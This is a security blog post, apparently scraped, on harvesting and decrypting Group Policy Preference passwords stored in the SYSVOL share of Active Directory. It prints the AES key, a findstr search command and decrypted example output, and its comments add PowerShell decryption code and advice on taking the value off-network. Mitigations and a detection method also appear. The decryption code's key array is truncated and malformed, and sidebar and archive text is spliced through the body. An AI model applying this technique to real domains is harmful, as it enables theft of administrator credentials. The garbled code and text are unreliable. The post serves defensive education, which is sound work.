DEC 28 2015

Finding Passwords in SYSVOL & Exploiting Group Policy Preferences

By Sean Metcalf in Exploit, Microsoft Security, Technical Reference

At Black Hat and DEF CON this year, I spoke about ways attackers go from Domain User to Domain Admin in modern enterprises.

Every Windows computer has a built-in Administrator account with an associated password. Changing this password is a security requirement in most organizations, though the method for doing so is not straight-forward. A standard method is to use Group Policy to set the local Administrator password across a large number of workstations. A major issue with this is that all of the computers have the same local Administrator password. Windows is extremely helpful when it comes to local accounts since if two (or more) computers have the same local account name and password, Windows will authenticate the account as if it is local, meaning that by gaining knowledge of the administrator credential on one system, the attacker can gain admin access to all of them (that have the same local administrator credentials).

SYSVOL

One of these methods is mining SYSVOL for credential data.

SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. SYSVOL contains logon scripts, group policy data, and other domain-wide data which needs to be available anywhere there is a Domain Controller (since SYSVOL is automatically synchronized and shared among all Domain Controllers).

All domain Group Policies are stored here: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\

Credentials in SYSVOL

A big challenge for administrators has been ensuring that the local Administrator account (RID 500) on all Windows computers. The traditional method for doing this (other than buying a product) has been to use a custom script to change the local administrator password. This issue with this is that frequently the password is stored in clear-text within the script (such as a vbs file) which is often in SYSVOL. Here's an example of one of the top results when searching for a VBS script that changes the local Administrator password. The vbs script is still available on the Microsoft TechNet gallery and the password is obvious. Remember this script is stored in SYSVOL which every domain user has read

RECENT POSTS

BSides Dublin – The Current State of Microsoft Identity Security: Common Security Issues and Misconfigurations – Sean Metcalf

DEFCON 2017: Transcript – Hacking the Cloud

Detecting the Elusive: Active Directory Threat Hunting

Detecting Kerberoasting Activity

Detecting Password Spraying with Security Event Auditing

POPULAR POSTS

PowerShell Encoding & Decoding (Base64)

Attack Methods for Gaining Domain Admin Rights in…

Kerberos & KRBTGT: Active Directory's…

Finding Passwords in SYSVOL & Exploiting Group…

Securing Domain Controllers to Improve Active…

Securing Windows Workstations: Developing a Secure Baseline

Detecting Kerberoasting Activity

access to and the password is the local Administrator password for every computer the Group Policy is applied to.

Changes the local Administrator password. The script should be deployed using Group Policy or through a logon script.

Visual Basic

```
Set oShell = CreateObject("WScript.Shell")
Const SUCCESS = 0

sUser = "administrator"
sPwd = "Password2"

' get the local computername with WScript.Network,
' or set sComputerName to a remote computer
Set oWshNet = CreateObject("WScript.Network")
sComputerName = oWshNet.ComputerName

Set oUser = GetObject("WinNT://" & sComputerName & "/" & sUser)

' Set the password
oUser.SetPassword sPwd
oUser.Setinfo

oShell.LogEvent SUCCESS, "Local Administrator password was changed!"
```

Please don't use this script to change the local Administrator password.

Group Policy Preferences

In 2006, Microsoft Bought Desktop Standard's "PolicyMaker" which they re-branded & released with Windows Server 2008 as "Group Policy Preferences." One of the most useful features of Group Policy Preferences (GPP) is the ability to store and use credentials in several scenarios. These include:

- Map drives (Drives.xml)
- Create Local Users
- Data Sources (DataSources.xml)
- Printer configuration (Printers.xml)
- Create/Update Services (Services.xml)
- **Scheduled Tasks (ScheduledTasks.xml)**
- **Change local Administrator passwords**

That's very helpful for administrators since it provides an automated mechanism for what previously required a custom solution such as a script. It provides useful capability to leverage Group Policy to "deploy" scheduled tasks with explicit credentials and change the local admin passwords on large numbers of computers at once – probably the two most popular usage scenario.

Credential Storage in Group Policy Preferences

The question at this point should be: how is the credential data protected?

When a new GPP is created, there's an associated XML file created in SYSVOL with the relevant configuration data and if there is a password provided, it is AES-256 bit encrypted which should be good enough…

- 2.2.1.1 Preferences Policy File Format
  - 2.2.1.1.1 Common XML Schema
  - 2.2.1.1.2 Outer and Inner Element Names and CLSIDs
  - 2.2.1.1.3 Common XML Attributes
  - **2.2.1.1.4 Password Encryption**
  - 2.2.1.1.5 Expanding Environment Variables

2.2.1.1.4 Password Encryption

All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.<3>

The 32-byte AES key is as follows:

```
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b
```

Except at some point prior to 2012, Microsoft published the AES private key on MSDN which can be used to decrypt the password. Since authenticated users (any domain user or users in a trusted domain) have read access to SYSVOL, anyone in the domain can search the SYSVOL share for XML files containing "cpassword" which is the value that contains the AES encrypted password.

Mimikatz DCSync Usage, Exploitation, and Detection

Scanning for Active Directory Privileges &…

Microsoft LAPS Security & Active Directory LAPS…

CATEGORIES

ActiveDirectorySecurity
Apple Security
Cloud Security
Continuing Education
Entertainment
Exploit
Hacking
Hardware Security
Hypervisor Security
Linux/Unix Security
Malware
Microsoft Security
Mitigation
Network/System Security
PowerShell
RealWorld
Security
Security Conference Presentation/Video
Security Recommendation
Technical Article
Technical Reading
Technical Reference
TheCloud
Vulnerability

TAGS

ActiveDirectory Active Directory Active Directory Security ActiveDirectorySecurity ADReading AD Security ADSecurity Azure AzureAD DCSync DomainController GoldenTicket GroupPolicy HyperV Invoke-Mimikatz KB3011780 KDC Kerberos KerberosHacking KRBTGT LAPS LSASS

```
<?xml version="1.0" encoding="utf-8" ?>
- <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
  - <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2015-
      02-18 01:53:01" uid="{D5FE7352-81E1-42A2-B7DA-118402BE4C33}">
      <Properties action="U" newName="ADSAdmin" fullName="" description=""
        cpassword="RI133B2Wl2CiI0Cau1DtrtTe3wdFwzCiWB5PSAxXMDstchJt3bL0Uie0BaZ/7rdQjuqTonF3ZWAKa1iRvd4JGQ"
        changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator
        (built-in)" expires="2015-02-17" />
    </User>
  </Groups>
```

Exploiting Group Policy Preferences

With access to this XML file, the attacker can use the AES private key to decrypt the GPP password. The PowerSploit function Get-GPPPassword is most useful for Group Policy Preference exploitation. The screenshot here shows a similar PowerShell function encrypting the GPP password from an XML file found in SYSVOL.

```
PS C:\temp> Get-DecryptedCpassword 'RI133B2Wl2CiI0Cau1DtrtTe3wdFwzCiWB5PSAxXMDstchJt3bL0Uie0BaZ/7rdQjugTonF3ZWAKa1iRvd4JGQ'
#Super@Secure&Password$2015?
```

Oddvar Moe notes a quick way to search for these:

```
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```

From what I can find, the issues with GPP credentials was first written about by Emilien Gauralt in the post "Exploiting Windows 2008 Group Policy Preferences" in January 2012. Unfortunately the link is dead and the content offline. A few months later in May, Chris Campbell – wrote the article "GPP Password Retrieval with PowerShell" as well as the first PowerShell code to exploit this issue. Chris later updated the PowerShell code and added Get-GPPPassword to PowerSploit. About a month later, in June, "Rewt dance" posted a GPP exploitation expanded reference (link offline – google cached version). I also recently discovered Alexandre Herzog's post "Exploit credentials stored in Windows Group Policy Preferences" (dated April 2012).

I have written about the problems with credentials in Group Policy Preferences and the GPP patch (KB2962486).

I continue to find administrative credentials (including Domain Admin credentials) in Group Policy Preference XML files in SYSVOL, especially for scheduled tasks running under the context of admin accounts.

The Group Policy Preference Credential Patch (KB2962486)

The obvious question for defenders is how to protect against this?

Microsoft released a patch in May 13, 2014 : "MS14-025 Vulnerability in GPP could allow elevation of privilege" (KB2962486). This patch needs to be installed on all systems that administer Group Policy using the Remote Server Administration Tools (RSAT). This patch prevents admins from putting password data into a Group Policy Preference.

MCM MicrosoftEMET MicrosoftWindows mimikatz MS14068 PassTheHash PowerShell PowerShellCode PowerShellHacking PowerShellv5 PowerSploit Presentation Security SilverTicket SneakyADPersistence SPN TGS TGT Windows7 Windows10 WindowsServer2008R2 WindowsServer2012 WindowsServer2012R2

Search

RECENT POSTS

BSides Dublin – The Current State of Microsoft Identity Security: Common Security Issues and Misconfigurations – Sean Metcalf

DEFCON 2017: Transcript – Hacking the Cloud

Detecting the Elusive: Active Directory Threat Hunting

Detecting Kerberoasting Activity

Detecting Password Spraying with Security Event Auditing

RECENT COMMENTS

Derek on Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory

Sean Metcalf on Securing Microsoft Active Directory Federation Server (ADFS)

Brad on Securing Microsoft Active Directory Federation Server (ADFS)

Joonas on Gathering AD Data with the Active Directory PowerShell Module

Sean Metcalf on Gathering AD Data with the Active Directory PowerShell Module

ARCHIVES

June 2024

May 2024

May 2020

January 2020

Note that existing Group Policy Preference files with passwords are not removed from SYSVOL

Microsoft provides a sample PowerShell script for finding GPP passwords in SYSVOL: https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevation-of-privilege-may-13,-2014

Group Policy Preference Exploitation Detection:

XML Permission Denied Checks

- Place a new xml file in SYSVOL & set Everyone:Deny.
- Audit Access Denied errors.
- Sing the associated GPO doesn't exist, there's no legitimate reason for access.

Group Policy Preference Exploitation Mitigation:

- Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
- Delete existing GPP xml files in SYSVOL containing passwords.

Microsoft Local Administrator Password Solution (LAPS)

The best Microsoft provided method for changing local Administrator passwords is the "Local Administrator Password Solution" aka LAPS.

References:

- Sean's presentation slides & videos on Active Directory security
- Group Policy Preferences AES private key on MSDN
- Using Group Policy Preferences for Password Management = Bad Idea

August 2019
March 2019
February 2019
October 2018
August 2018
May 2018
January 2018
November 2017
August 2017
June 2017
May 2017
February 2017
January 2017
November 2016
October 2016
September 2016
August 2016
July 2016
June 2016
April 2016
March 2016
February 2016
January 2016
December 2015
November 2015
October 2015
September 2015
August 2015
July 2015
June 2015
May 2015
April 2015
March 2015
February 2015
January 2015
December 2014
November 2014
October 2014
September 2014

- GPP Password Retrieval with PowerShell
- The PowerSploit function Get-GPPPassword
- Group Policy Preferences Password Vulnerability Now Patched
- Microsoft Local Administrator Password Solution (LAPS)

AESkey, ChangeLocalAdministratorPassword, cpassword, ExploitingGroupPolicyPreferences, GPP, GroupPolicyPreferences, GroupPolicyPreferencesPassword, groups.xml, KB2962486, LAPS, LocalAdministrator, LocalAdministratorPassword, MS14-025, MS14025, PolicyMaker, ScheduledTasks, scheduledtasks.xml, Services.xml, SYSVOL, vbs, xml

Sean Metcalf

I improve security for enterprises around the world working for TrimarcSecurity.com
Read the About page (top left) for information about me. :)
https://adsecurity.org/?page_id=8

August 2014
July 2014
June 2014
May 2014
April 2014
March 2014
February 2014
July 2013
November 2012
March 2012
February 2012

CATEGORIES

ActiveDirectorySecurity
Apple Security
Cloud Security
Continuing Education
Entertainment
Exploit
Hacking
Hardware Security
Hypervisor Security
Linux/Unix Security
Malware
Microsoft Security
Mitigation
Network/System Security
PowerShell
RealWorld
Security
Security Conference Presentation/Video
Security Recommendation
Technical Article
Technical Reading
Technical Reference
TheCloud
Vulnerability

4 comments

Skip to comment form

Juggernats on *January 4, 2016 at 3:45 pm* #

How would one decrypt the cpassword string using the MS AES key?

Sean Metcalf on *January 4, 2016 at 4:47 pm* #

Author

Using the PowerShell function Get-GPPPassword in PowerSploit which I link to.
Here's the relevant code from https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1

Set the $cpassword variable to the cpassword field value.

```
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)

switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 – $Mod))}
'3' {$Cpassword += ('=' * (4 – $Mod))}
}

$Base64Decoded = [Convert]::FromBase64String($Cpassword)

#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey =
@(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,(
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c

#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
```

```
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0,
$Base64Decoded.length)

return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
```

Juggernats on *January 5, 2016 at 10:18 am* #

Does the Get-GPPPassword function need to be run on the same domain? Our users are prevented from editing the Modules available in PowerShell so PowerSploit is not usable. If the policies were copied outside of the VM to a local machine able to run PowerSploit, would the Get-GPPPassword function work?

Sean Metcalf on *January 5, 2016 at 8:06 pm* #

Author

It can be run against any trusted domain. The key point is that no "hacking tool" is required. Open Windows explorer and open the Policies folder in SYSVOL and search for *.xml. Open up the results with the names I listed in the post (groups.xml, scheduledtasks.xml, etc), and copy the cpassword value. This can be uploaded to the internet somewhere, emailed, etc. Then the PowerShell function I pasted in an earlier comment can be run anywhere. Furthermore, that PowerShell function will decrypt the cpassword attribute without loading any modules so it can be used anywhere.

Comments have been disabled.